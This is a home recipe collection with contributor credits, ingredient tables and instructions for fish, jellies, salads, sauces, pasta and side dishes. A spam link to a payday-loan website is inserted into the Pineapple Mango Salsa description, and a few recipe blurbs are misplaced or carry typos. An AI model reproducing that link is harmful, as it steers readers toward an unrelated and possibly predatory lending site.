2	tbl	prepared	horseradish
2	tsp		salt
1	tsp		dry mustard
0.75	cup		catsup
0.25	cup		milk
1	tsp		poultry seasoning

Instructions:

Combine turkey, bread, eggs, onion, pepper, horseradish, salt, mustard, milk and 1/4 cup catsup. Mold into greased pan. Spread 1/2 cup catsup on top and bake. Unmold and use pan liquid for gravy or use salsa on top.

This is good cold for sandwiches.

Spinach Roll

Entrée
Vegetable

Recipe from: Sue Paulding

Contributed by Sue on behalf of Terri Luby.

Serves: 1 large roll **Time-- Preparation:** 0 **Temperature:** 350
Season: Everyday **Cooking:** 40-45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	loaf	frozen/defrosted	breadough
1	box	frozen	chopped spinach
1		chopped	onion
0.5	pound		sausage (Sweet Italian or Turkey)
1			egg
0.75	cup	grated	parmesan cheese

Instructions:

Cook sausage until brown, add onion and cook until soft. Simmer and let spinach thaw on top of sausage (drain). Let mixture cool. Add 2/4 cup parmesan cheese and 1 egg. Bread dough should thaw but not rise. (6-8 minutes in microwave with plastic over it on defrost cycle) Press bread out on greased cookie sheet. Spread mixture leaving 1 inch around the edge. roll sides together and place seam side down. Brush on egg white. Bake at 350 for 40-45 minutes.

Spinach Roll

Pesto Mahi Mahi

Fish

Recipe from: *Fellow Golfer*

Use Mahi Mahi or halibit

Serves: 2 **Time-- Preparation:** 1 day **Temperature:** 250
Season: Everyday **Cooking:** 20 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
2	filet	fresh	Fish
0.5	cup	fresh	pesto
2	tbl		capers
5	sprigs	fresh	parsley
0.5	cup	chopped	tomato
0.25	cup	chopped	calamata olives

Instructions:

The night before rub pesto over the fish and refrigerate.

When ready to cook, sear in a fry pan in a very small amount of olive oil the fish on both sides--very hot and quick.

Take off and put in oven for about 20 minutes while preparing the topping.

Use you discretion on the sauce. Simmer the pesto, capers, tomatoes and olives. At the last minute add the chopped parsley.

The fish should be done now. Top the fish with the sauce and serve.

Salmon BBQ Sauce

Fish

Recipe from: Reba Rhodes

A great source for BBQ Salmon

Serves: 4 **Time-- Preparation:** 15 min **Temperature:** 0
Season: BBQ **Cooking:** 15 min BBQ

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		catsup
6	TBLS		brown sugar
4	tsps		wine vinegar
4	drops		Tabasco
0.5	cup		butter
1		chopped	onion
1		juiced	lemon
2	drops		Worcestershire Sauce

Instructions:

Melt butter, sauté onion. Add remaining ingredients and cook slowly until desired consistency.

Garlic Lime Salmon

Fish

Recipe from: Jill Meynen--Gwen & Don's Gym Friend

A nice way to eat salmon

Serves: 2-4 **Time-- Preparation:** 5 min **Temperature:** Broil
Season: Summer **Cooking:** 20 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		Vegetable oil
1	medium	diced	onion
2	tbls		lime juice
1	tsp	grated	lime peel (zest)
1	clove	minced	garlic
2	lbs		salmon filet
0		slices	lime (optional)

Instructions:

- 1 In a jar with a tight-fitting lid, combine the first five ingredients; shake well.
- 2 Broil salmon, skin side down, 4-6 in. from the heat for 20 minutes or until fish flakes easily with a fork, basting every 5 minutes with lime mixture. Garnish with lime slices if desired.

Pineapple Mango Salsa over Grilled Halibut

Fish

Recipe from: Jill Meynen--Gwen & Don's Gym Friend

Luscious mango nectar, combined with pineapple chunks and diced fresh mango make a sweet but zesty marinade for halibut. <http://integritypaydayloansfcfit.com>
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Serves: 4 **Time-- Preparation:** 10 min **Temperature:** 0

Season: Summer **Cooking:** 10 min Broil

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	diced	pineapple
0.75	cup	diced	red bell pepper
0.5	cup	diced	red onion
0.5	cup	diced	fresh mango
0.5	cup		Mango KERNS from LIBBY'S Refrigerated ALL Nectar
0.25	cup	chopped fresh	cilantro
0.25	tsp	grated	lime peel (zest0
0.25	tsp	crushed	red pepper
0.25	tsp	ground	cumin
0.125	tsp	ground	cinnamon
4	4 oz	skinless	halibut fillets

Instructions:

Luscious mango nectar, combined with pineapple chunks and diced fresh mango make a sweet but zesty marinade for halibut. Mixed with bell pepper, cilantro, and lime peel this marinade renders the fish flavorful and moist. Serve with grilled zucchini and yellow squash, crusty rolls and cool Nestea®.

Ready in: approx. 1 Hour 20 Minutes.

1 COMBINE pineapple, bell pepper, onion, mango, nectar, cilantro, lime peel, crushed red pepper, cumin and cinnamon in medium bowl; cover. Marinate in refrigerator for 1 hour. Bring to room temperature.

2 GRILL or broil halibut for 3 to 5 minutes on each side or until halibut flakes easily when tested with a fork. Serve salsa over halibut.

Asian BBQ Salmon

Fish

Recipe from: Cathy Paulson

Mild grilled fish

Serves: 2-4 **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 BBQ

QTY.	MEAS.	PREP.	INGREDIENTS
1		filet	Fish, about 2 pounds
0.25	cup	dry	sherry
0.25	cup	light	soy sauce
2	tbls		oyster sauce
2	tbls		lemon juice
2	tbls		sesame oil
0.5	tsp		black pepper
1	bunch	minced	chives
0.25	cup	minced	fresh ginger

Instructions:

 Marinade fish for at least 30 minutes. Grill.

Jalapeno-Pepper Jelly

Jelly, Jams & Preserves

Recipe from: Naomi Luby

Fruit

Hot green jelly from Aunt Wannie (Elwanda Walker)

Serves: 3 pints **Time-- Preparation:** 30 min **Temperature:** boil
Season: Everyday **Cooking:** 1 min Can

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup	ground	jalapeno peppers
0.75	cup	ground	green peppers
6	cups		sugar
1.5	cups		apple cider vinegar
1	6 oz	bottle	Certo
8	drops		green food coloring

Instructions:

Put on rubber gloves and remove seeds from peppers. Grind both in a blender until smooth. In large kettle, mix peppers, sugar and vinegar and bring to rolling boil. Boil one minutes. Add Certo and food coloring return to boil for exactly one minute. Mix well. Quickly strain jelly through cheesecloth into hot sterilized jars. Seal. Refrigerate once jar has been opened. Makes 6 half pints.

Note: When Gwen makes this recipe, she does not strain the jelly.

Hot Pepper-Cranberry Jelly

Jelly, Jams & Preserves

Recipe from: Unknown

Fruit

Not hot as Jalapeno jelly. Nice and red.

Serves: 4 pints **Time-- Preparation:** 30 min **Temperature:** boil
Season: Everyday **Cooking:** 3-5 min Can

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	chopped	jalapeno peppers
1	qt		cranberry juice cocktail
7	cups		sugar
1.25	cups		vinegar
5	ozs		Certo
0			Red food coloring.

Instructions:

In blender container, process peppers and cranberry juice until peppers are finely chopped. Strain into large kettle. Stir in sugar, vinegar, Certo and food coloring to tint as desired. Bring to a rolling boil, then boil 3 to 5 minutes. Pour into sterilized jelly glasses and seal with paraffin. When cool, cover with lids. Makes 8 half pints.

Apple Butter

Jelly, Jams & Preserves

Recipe from: Gwen Powell

Fruit

Adapted from Gopher Glen recipes.

Serves: 2 jars **Time-- Preparation:** 0 **Temperature:** simmer
Season: Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
			apples
			spices

Instructions:

Peel and slice enough apples into a sauce pan to fill the pot. cover and simmer about 15-20 minutes, stirring occasionally, until apples are "saucy". You may have to add a small amount of water at the beginning to prevent apples from sticking to the bottom of the pan, but as they cook they will produce their own juice. Cook apples until they are soft and tender, about 15 minutes. Put the cooked apples through a blender or food processor. Simmer in a crock pot until desired consistency for apple butter, stir occasionally. Add honey, brown sugar or regular sugar to taste, if desired. Add cinnamon, nutmeg, allspice, cloves, salt or wine to taste. Refrigerate, can or freeze.

Chicken Ranch Sandwich

Lunch

Recipe from: Michael Rivas at Station Grill

A easy and quick to make chicken and ranch sandwich.

Serves: 1 person

Time-- Preparation:

Temperature:

Season: BBQ

Cooking:

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	Medium		French Roll
1	Strip	Batter Fried	Chicken Strip
2	Slices		Cheddar Cheese
1	Leaf		Lettuce
3	Slices		Tomato
2.5	Tablespoo		Ranch Dressing

Instructions:

First batter fry the chicken. Then while that is frying slice the roll in half. Then put the chicken on the roll, along with the cheese, lettuce, and tomato. Then spread ranch on the top half of the roll. And Eat.

Luncheon Rolls

Lunch

Recipe from: Naomi Luby

Sandwich

Make these in advance and freeze.v

Serves: 16 **Time-- Preparation:** 0 **Temperature:** 325
Season: Everyday **Cooking:** 1 hour Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound		Tillamock Cheese
1	can	small/chpped	olives
1	can		tomato sauce
			salt to taste
2		hard cooked	eggs
1	bunch		green onions
			tobassco sauce to taste
16		small/hard	French Rolls

Instructions:

Take centers out of rolls. Grind up mixture in food chopper, saving the juice. Fill the rolls. Wrap in foil and freeze. let set one hour to defrost then bake at 325 for one hour.

Chipotle Pepper Rub

Meat

Recipe from: Sunset Magazine

Chipotle Pepper Rub

Serves: *Time--* **Preparation:** 0 **Temperature:** 0**Season:** Summer **Cooking:** 0

QTY.	MEAS.	PREP.	INGREDIENTS
3	dried		chipotle chilles
2	T		black peppercorns
1	T		pink peppercorns
1	T		Cummin seeds

Instructions:

Heat Chipotles in microwave until puff and smell slightly toasted 15-30 seconds. Grind al lin food processor until finely ground. Store up to a week inn Frig. Rug on meat before grilling.

Mango Salsa

Mexican

Recipe from: Jill Meynen--Gwen & Don's Gym Friend

Relish

Fuity, tangy Salsa for fish, especially Salmon

Serves: *Time-- Preparation:* 10 min **Temperature:** 0**Season:** Summer **Cooking:** 0

QTY.	MEAS.	PREP.	INGREDIENTS
4	ripe	peeled/chopped	Mango (can use jar of refrigerated sliced mangos)
0.5	medium	fine dice	red onion
0.24	cup	squeezed	lime juice
2		seeded/choppe	jalapeno peppers
1.4	clove	minced	garlic
2	tsp	coarsely ground	black pepper

Instructions:

Primarily, we use this salsa on pork tenderloin but it could be uses with fish also.
We have also substituted Papayas for the Mangos on occasion.

Mango Salsa

Pasta (Basic Egg)

Pasta
Pasta Maker

Recipe from: Gwen Powell

Basic egg pasta, whole protein for any meal

Serves: 8 **Time-- Preparation:** 15 min **Temperature:** boil
Season: Everyday **Cooking:** 10 min Boil

QTY.	MEAS.	PREP.	INGREDIENTS
2	part		flour
0.66	part		liquid (eggs, herbs, oil, water)

Instructions:

Add dry ingredients to Pasta Machine. Slowly add wet ingredients. Extrude with your desired dye. Pasta should be dry to the touch and not stick together.

Bring 4 quarts of water to a rapid boil with a teaspoon of olive oil and a dash of salt. Place pasta in boiling water being careful to separate strands. Boil until done. The finer the pasta the faster it cooks. The pasta should be firm.

Drain and do not rinse. Return to kettle and mix with a tablespoon of oil.

Pasta (Basic Egg)

Whole Protein Herb Pasta

Pasta

Recipe from: Gwen Powell

Pasta Maker

Use this pasta as a vegetarian main course or a side dish. All the amino acids needed for good health.

Serves: 6 **Time-- Preparation:** 30 min **Temperature:** boil
Season: Everyday **Cooking:** 5 min Boil

QTY.	MEAS.	PREP.	INGREDIENTS
			olive oil
0.75	cup		semolina flour
0.75	cup		titricale flour
1.5	cup		flour
3			eggs
		fresh	herbs to taste
			water

Instructions:

Put eggs in measuring cup, add fresh, finely chopped herbs, add enough water to measure 3/4 cup.

The quantity of the liquid will vary according to you conditions and whether you are using a pasta maker or just a press. It should be moister for the press than the pasta maker. Add a little oil in the food processor while blending if you plan on using the press.

Follow the instructions for adding ingredients to the pasta maker. If blending in a food processor, first put in the dry ingredients. With the processor on slowly add the moist ingredients. Be sure to over blend. Take dough out of processor and form into a ball. Roll, fold and roll some more on lightly floured board. Cut into strips to put through pasta press. After pasta is pressed and cut or extruded through pasta machine set aside until ready to cook THE SAME DAY or dry and refrigerate or freeze.

Bring 4 quarts of water to boil. Place all the pasta in the kettle. Return to boil, immediately remove from heat and let sit 5 minutes. Drain and toss with olive oil.

Whole Protein Herb Pasta

Pumpkin Pasta

Pasta

Recipe from: Gwen Powell

Pasta Maker

Use canned for cooked fresh pumpkin or other squash

Serves: 6 **Time-- Preparation:** 0 **Temperature:** 325
Season: Everyday **Cooking:** 45 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup	cooked	pumpkin
1	egg		
			herbs to taste
3	cup	(about)	flour
1	pound	fresh	baby bok choy or broccoli
1	carton	small	ricotta cheese
1	pkg		feta cheese
1	cup	grated	jack cheese
1	cup		Balsamella sauce
0.25	cup	grated	onion

Instructions:

Cook squash or pumpkin then puree very fine.

Mix pasta dough according to pasta machine directions substituting puree for liquid and eggs. Add one extra egg to make enough moisture. This makes a pasta too moist to extrude properly through the die.

Roll out dough with pasta press or using floured rolling pin to #2 thickness. Flour lightly to prevent sticking. Cut into approximately 12 by 4 inch rectangles or whatever is convenient. Cook until only 1/2 done, about 30 seconds.

Mix sour cream, ricotta cheese, onion and herbs together. Starting with baby bok choy (or broccoli) layer bok choy, cheese, pasta back and forth. Top with jack and parmesan cheeses. Bake at 325 for about 1 hour. Serve with Balsamella sauce.

Pumpkin Pasta

Aunt Sue's Favorite Salad

Salad

Recipe from: Sue Paulding

That says it all!

Serves: 4 or more **Time-- Preparation:** 10 minutes **Temperature:****Season:** BBQ **Cooking:** None Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		Marston's San Pasqual Salad Dressing
1	cup	sliced	Roasted Almonds
1	cup	dried	cranberries
1	cup	shredded	parmesan cheese
2	bags		mixed greens or spinach

Instructions:

Do not make this in advance. Toss all ingredients just before serving.<p>

You can make this recipe with spinach or mixed greens. <p>

Use as meal or side salad. Add cooked chicken or cook shrimp for added zest for a meal.<p>

Adjust quantities of each as desired.

Deviled Eggs

Salad

Recipe from: Gwen Powell

Relish

Gwen's milk recipe

Serves: *Time-- Preparation:* 15 min **Temperature:** 0
Season: Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
		medium	boiled eggs
1	tsp	per 4 eggs	sweet pickle relish
1	tsp	per 2 eggs	mayo
0.5	tsp	per 2 eggs	mustard
			salt to taste
			pepper to taste
			paprika to taste
			fennel or parsley for garnish

Instructions:

Medium boil the eggs and peel. Cut eggs in half and remove yolks to a mixing bowl. Using a fork, mix yolks with salt, pepper, mustard, mayo, pickle relish and paprika. Spoon mixture into whites and smooth a nice mound to make pretty. Garnish with parsley or fennel and sprinkle paprika on top.

Deviled Eggs

Rice and Bean Salad

Salad

Recipe from: Cathy Paulson

Vegetable

Great cold side dish

Serves: 8 **Time-- Preparation:** 1 hour **Temperature:** 0**Season:** Everyday **Cooking:** 1 hour Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
3	cup	cooked	rice
0.5	cup	chopped	red onion
1	15 oz.	can	pinto beans
1	15 oz.	can	black beans
2	4 oz.	can	chopped green chilis
1	10 oz.	pkg	frozen peas
0.25	cup	chopped	cilantro
1	cup	sliced	celery
0.33	cup		wine vinegar
0.25	cup		olive oil
2	tbl		water
0.75	tsp		salt
0.5	tsp		garlic powder
0.5	tsp		pepper

Instructions:

Rinse and drain the pinto and black beans. Combine with rice, onion, chilies, peas, celery and cilantro ingredients.

Combine vinegar, oil, water, salt, garlic and pepper for dressing, shake well. Pour dressing over salad and mix well.

Rice and Bean Salad

Cabbage Church

Salad

Recipe from: Sue Paulding

Vegetable

Use as a white sauce with any pasta. Lo

Serves: **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	head	shredded	cabbage
1	cup	sliced/chopped	almonds
2	tbl	toasted	sesame or sunflower seeds
4		chopped	green onions
2	pkg		Top Ramen noodles
1	cup	(dressing)	oil
6	tbl	(dressing)	red wine vinegar
4	tbl	(dressing)	sugar
1	tsp	(dressing)	salt
1	tsp	(dressing)	pepper
1	pkg	(dressing)	Top Ramen Flavoring

Instructions:

Shred cabbage; slice, chop then toast almonds. Chop onion. Stir together dressing ingredients. Toss together but add nuts and noodles just before serving.

Potato Salad

Salad

Recipe from: Linda Lokkart/Sue Paulding

Vegetable

From Ann Lokkart

Serves: *Time--* Preparation: 0 **Temperature:** 0
Season: Picnic **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
0.15	tsp		cumin per person
0.15	tsp		paprika per person
1	dash		salt per person
1	dash		pepper per person
1	dash		dill seed per person
2	stalks	chopped	celery
0.5	large	chopped	onion
1		chopped	potato per person
1		chopped	egg per person
0.75		chopped	pickle per person
0.75	cup		mayonnaise per person
2	tbl		mustard per person
2	tbl		pickle juice per person

Instructions:

Use one potato and one egg per person. Boil potatoes and hard boil eggs. Chop into really small pieces. Use 3/4 of a pickle per person. Chop pickles very fine.

In a small mixing bowl add proportionally per person the mayonnaise, mustard, pickle juice, cumin, paprika, salt, pepper and dill seed.

Copy celery and onion fine.

Combine all and refrigerate until ready to serve.

Potato Salad

Mayonnaise

Sauce

Recipe from: Naomi Luby

This shows up in every stack of recipes handed into me. Twice in my own.

Serves: 1 cup **Time-- Preparation:** 10 min **Temperature:** 0
Season: Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1			egg
1	tsp		mustard
1	tsp		salt
1	tsp		sugar
1	tbl		vinegar
1	tbl		water
1	cup		oil

Instructions:

Combine all but oil in a blender. Turn on high speed then off. Gradually add oil at high speed. Refrigerate until ready to use.

Mayonnaise

Ham Glaze

Sauce

Recipe from: Sue Paulding

"Shelly's Ham Glaze"

Serves: *Time--* Preparation: 0 Temperature: 0
Season: Holiday Cooking: 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		brown sugar
4	tbl		honey
0.25	cup		orange juice
0.25	tsp		dry mustard

Instructions:

Mix together ingredients. Baste ham with half of the mixture before placing in oven. Pour the remaining glaze over the ham when it is 1/2 way cooked.

White Sauce

Sauce

Recipe from: Gwen Powell

Better Homes and Gardens

Serves: 1 cup **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
2	tbl		butter
2	tbl		flour
0.75	tsp		salt
1	cup		milk

Instructions:

Melt butter in saucepan over low heat. Blend in flour, salt and dash of white pepper. Add milk all at once. Cook quickly, stirring constantly until mixture thickens and bubbles. Adjust milk, flour and butter to change thickness of sauce.

White Sauce

Strawberry Salsa

Sauce

Recipe from: SLO Chamber of Commerce

Great salsa for Fish or Grilled Chicken

Serves: **Time-- Preparation:** 15 min **Temperature:** 0
Season: Summer **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	chopped	strawberries
1	tbls		orange juice
1	tsp	grated	orange peel
1		finely chopped	green onion
1	tsp		dijon-style mustard
2	tbls	dried	currants
2	tbls		red wine vinegar

Instructions:

Mix all ingredients in a bowl. Chill. Serve with grilled chicken or fish. Makes 1 - 1/2 cups.

Mr. Wilson's Chicken Marinade

Sauce

Recipe from: Sue Paulding

Chicken

Serves: *Time--* **Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		soy sauce
0.33	cup		sugar
1	clove		garlic
1	piece		ginger
1			green onion
0.25	cup		water

Instructions:

Mix all together and soak meat in the marinade.

Thermidor Sauce

Sauce

Recipe from: Gwen Powell

Fish

Use with crab, shrimp, lobster or just over pasta.ay

Serves: 4 **Time-- Preparation:** 15 min **Temperature:** 0
Season: Everyday **Cooking:** 15 min Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
2	tbl	chopped	onion
3	ounces	sliced	mushrooms
2	tbl		butter
0.25	tsp		salt
2	tbl		flour
0.15	tsp		pepper
0.15	tsp		paprika
0.5	cup		cream
0.5	cup		chicken broth
0.5	tsp		Worcestershire sauce
1		beaten	egg yolk
2	tbl		sherry (optional)
1	tbl	grated	parmesan cheese for topping

Instructions:

Saute onions and mushrooms in butter until tender. Stir in flour, salt, pepper and paprika. Cook over low heat, stirring until mixture is bubbly. Remove from heat. Stir in cream, chicken broth and Worcestershire sauce. Heat to boiling stirring constantly; boil one minute. Remove from heat and stir in egg yolk. Stir in wine and cooked meat, heat through.

Serve over toast or pasta. Top with parmesan cheese.

Thermidor Sauce

Apple Sauce

Sauce

Recipe from: Gwen Powell

Fruit

Adapted from Gopher Glen Sea Canyon apples loan

Serves: **Time-- Preparation:** 30 min **Temperature:** simmer

Season: Summer **Cooking:** 15-30 min **Simmer**

QTY.	MEAS.	PREP.	INGREDIENTS
			Apples
			Honey (optional)

Instructions:

Peel and slice enough apples into a sauce pan to fill the pot. cover and simmer about 15-20 minutes, stirring occasionally, until apples are "saucy". You may have to add a small amount of water at the beginning to prevent apples from sticking to the bottom of the pan, but as they cook they will produce their own juice. Add a pinch of salt if desired. Some people add apple pie spice (mixture of cinnamon, nutmeg and allspice). Freeze or can or refrigerate and use as desired.

Pesto

Sauce

Recipe from: Gwen Powell

Italian

Italian pesto for pasta inspired by Great Uncle Earle

Serves: 8 **Time-- Preparation:** 5 min **Temperature:** chill

Season: Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	finely chopped	basil
0.5	cup		olive oil
0.25	cup	chopped	pine nuts
2	clove		elephant garlic
0.5	cup	grated	parmesan

Instructions:

Mix all ingredients together in a processor and toss on pasta.

Newell Salsa

Sauce

Recipe from: Linda Lokkart

Mexican

Serves: 8 cups**Time-- Preparation:** 0**Temperature:** 0**Season:** Everyday**Cooking:** 0

Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	large	diced	onion
0.5	bunch	chopped	cilantro
1		diced	red bell pepper
2	tsp		salt
1	small	diced	jalapeno pepper
1	can		mexican tomatoes
2	cans	diced	tomatoes (14.5 oz each)

Instructions:

Mix everything together. Keeps 2 weeks in refrigerator.

Balsamella Sauce

Sauce

Recipe from: Gwen Powell

Pasta

Use as a white sauce with any pasta. Loan

Serves: 6 **Time-- Preparation:** 10 min **Temperature:** simmer**Season:** Everyday **Cooking:** 10 min Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
3	tbl		butter
0.25	cup		flour
1	pint		cream
0.5	tsp		salt (optional)
0.5	tsp		pepper
0.5	tsp		nutmeg
0.5	clove	minced	garlic (optional)

Instructions:

Simmer all ingredients over low heat until sauce thickens.

Rice Cashew

Side dish

Recipe from: Gwen Powell

Casserole

A nice rice dish with the flavor of the Orient.

Serves: 8 **Time-- Preparation:** 30 min **Temperature:** 350**Season:** Everyday **Cooking:** 30 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	med.	diced	onion
1	small	diced	green pepper
3	tbl		butter
1.25	cup	dry	rice (not instant)
1	can		sliced mushroom
1	can		cashews
2	can		beef boullion

Instructions:

Sauté onion and green pepper in butter. Add rice and mix, add mushrooms, bouillon. Pour mixture into covered casserole and bake at 350 for 1 hour. Remove from oven and stir in cashew.

Spinach Soufflé

Side dish

Recipe from: Linda Lokkart/Sue Paulding

Casserole

Use with crab, shrimp, lobster or just over pasta.

Serves: 8 **Time-- Preparation:** 15 min **Temperature:** 350
Season: Everyday **Cooking:** 60 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	1 lb	carton	creamed cottage cheese
2	pkg	chopped	spinach (frozen)
0.33	lb.	grated	sharp cheddar cheese
4	tbl		flour
1		finely chopped	onion
4		beaten	eggs
0.25	lb.		margarine or butter (optional)
1	tbl		Worchestershire sauce

Instructions:

Cook frozen spinach according to directions on package. Drain liquid and press to squeeze out all liquid. Mix together all ingredients but eggs. When well mixed, fold in beaten eggs. Pour into greased casserole dish. Bake at 350 for 1 hour, or until knife comes out clean. It will be very slightly browned on top. Let it set for a few minutes to set.

Spanish Rice

Side dish

Recipe from: Sue Paulding

Grains

Great for parties.

Serves: 5 cups **Time-- Preparation:** 0 **Temperature:** Simmer

Season: Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
5	"rice	cups"	rice
2	can	Mexican	tomatoes
1	pack		season from Chicken Top Ramen

Instructions:

Brown rice in oil. Add tomatoes and seasoning. Add water to "5 cup" line. Bring to boil, then lower to simmer until rice is done.

Rice

Side dish

Recipe from: Gwen Powell

Grains

Serves: 4

Time-- Preparation:

Temperature:

Boil

Season: Everyday

Cooking:

Steam

QTY.	MEAS.	PREP.	INGREDIENTS
2.5	cup	boiling	water
1.25	cup		long grain rice
1	dash		salt

Instructions:

Bring water to boil. Add rice. Bring to boil again. Lower to simmer, keep tightly covered. Keep an eye on it until desired consistency is met. Stir occasionally if you get bored. Takes about 15-20 minutes after rice is brought to a boil.

Mexican Rice

Side dish

Recipe from: Sue Paulding

Mexican

Serves: *Time--* **Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 **Boil**

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		rice
1.75	cup		water
0.5	cup	chopped	onion
0.5	cup		salsa
1	cube		bullion

Instructions:

Sauté onion, brown rice together. Add water and salsa and bullion. Bring to boil, reduce heat and cover for 20 minutes.

Baked Fettuccine

Side dish

Recipe from: Gwen Powell

Pasta

Serves: 6-4**Time-- Preparation:** 0**Temperature:** 350**Season:** Everyday**Cooking:** 15 min

Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound		fettuccine
5	tbl		butter
1	cup		heavy cream
1	pound		romano cheese or use 1/2 feta and 1/2 romano
			fresh ground white or black pepper
0.5	cup	fine	bread crumbs
1			egg

Instructions:

Cook the fettuccine in boiling, salted water until al dente, and drain. Put them back in the pan and add 5 tablespoons of butter, parmesan cheese, heavy cream, romano and fresh ground pepper.

Preheat oven to 350. Butter well a ovenproof casserole (about 12 inch square, round or equal) Add 1/4 cup of bread crumbs and tilt the baking dish back and forth to cover the entire surface of the dish with crumbs. Empty extra crumbs onto a sheet of wax paper. Beat the egg well in a small bowl, pour it into the crumbled baking dish. Tilt the dish again to cover all the crumbs with egg. Add the remaining 1/4 cup of bread crumbs and tilt again to cover the surface completely. Turn out and discard excess crumbs.

With a rubber spatula, transfer all the pasta, scraping the sides and bottom of the pan, into the baking dish. Place this in the oven and bake for 15 minutes or until heated through. Remove from oven and allow to sit for 10 to 15 minutes.

Turn out onto a large platter and garnish with fresh parsley.

Baked Fettuccine

Rice Pudding

Side dish

Recipe from: Sue Paulding

Pudding

From Bunny

Serves: *Time--* Preparation: 0 **Temperature:** Simmer
Season: Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
1	qt		milk
5	rnd tbl		rice
7	tbl		sugar
1	dash		salt
1	tsp		vanilla
2			eggs
1	hand	full	raisins

Instructions:

simmer rice and milk covered for one hour. Beat eggs together with salt, sugar and vanilla. When Rice and milk are ready, add raisins and egg mixture. Very quickly by stirring in and close flame right away. Pour into bowl and sprinkle with cinnamon.

Rice Pudding

Tapioca

Side dish

Recipe from: Sue Paulding

Pudding

Serves: *Time--* **Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 **Simmer**

QTY.	MEAS.	PREP.	INGREDIENTS
6			egg whites
6			egg yolks
0.75	cup		sugar
0.5	cup	+ 1 tbl	tapioca
6	cup		milk
3	tsp		vanilla

Instructions:

Put tapioca, milk, egg yolks and half the sugar in pot. Beat egg whites until foamy. Add the other half of the sugar and continue beating until stiff peaks form. Cook and stir tapioca mixture over medium heat until mixture comes to a full boil. Gradually add to egg white mixture, stirring quickly just until blended. Stir in vanilla, cool 20 minutes. Stir.

Turkey Dressing

Side dish

Recipe from: Naomi Luby

Relish

Stuff a turkey or bake in casserole dish.

Serves: **Time-- Preparation:** 45 min **Temperature:** 400

Season: Holiday **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pan		cornbread
1	loaf	dry	bread
1		chopped	onion
1	cup	chopped	celery
1	cup	or can	chicken broth or soup
4	strips	cut up	bacon or oil

Instructions:

Brown cornbread and bread crumbs in oil or bacon drippings. Add chopped onions and celery while browning. Season with poultry seasoning. Add chicken broth made from bouillon cubes or use a can of chicken rice or noodle soup--just enough to slightly moisten stuffing.

Stuff Turkey or place in casserole dish and bake.

Optional--add walnuts while browning.

Turkey Dressing

Nassi (Dutch Rice)

Side dish

Recipe from: Ann Lokkart

Vegetable

Serves: 5-6**Time-- Preparation:** 0**Temperature:** 0**Season:** Everyday**Cooking:** 0

Boil

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		rice
1			onion
3			green onions
0.5	stick		margarine
0.5	tsp		pepper
0.75	tsp		curry powder
1	cup	diced	zucchini
1		diced	bell pepper
1	cup	chopped	cooked port
			other vegies to taste
3		or 4	scrambled eggs
2	tbl		soy sauce

Instructions:

Measure 2 cups rice, cook to fluffy. Meanwhile--dice one onion and bunch of green onions. In wok, brown onions and white part of green onions in 1/2 stick of margarine. After browned, add 1/2 tsp pepper, 3/4 tsp curry powder, diced zucchini, bell pepper, cooked pork and other vegies. Steam until rice is ready. Add rice to vegies. Scramble 3 or 4 eggs until fluffy and add to mixture. Add 2 tbls on soy sauce and green onion and mix well.

Nassi (Dutch Rice)

Potato Casserole

Side dish

Recipe from: Terri Luby

Vegetable

This is the one we had at Christmas in Colorado

Serves: an army **Time-- Preparation:** 15 min **Temperature:** 350
Season: Everyday **Cooking:** 1 1/2 hours Warm

QTY.	MEAS.	PREP.	INGREDIENTS
2	pounds	frozen/cubed	hash browns
1	can		cream of mushroom soup
0.5	pint		sour cream
0.5	cup	melted	butter
		chopped	green onion
1	cup	grated	cheddar cheese
			salt & pepper
0.25	cup	melted	butter
2	cup		corn flakes
0.5	cup	grated	cheddar cheese

Instructions:

Mix hash browns, soup, sour cream, butter, onions, cheese, salt and pepper together and put in buttered 13 by 9 inch pan. Mix together another 1/4 cup of butter and corn flakes. Sprinkle 1/2 cup of cheddar cheese over potatoes then spread cornflakes over potatoes. Bake for 1 1/2 hours at 350 degrees.

Potato Casserole

Tofu Quiche

Side dish

Recipe from: Gwen Powell

Vegetable

Alter this recipe to fit any needs.

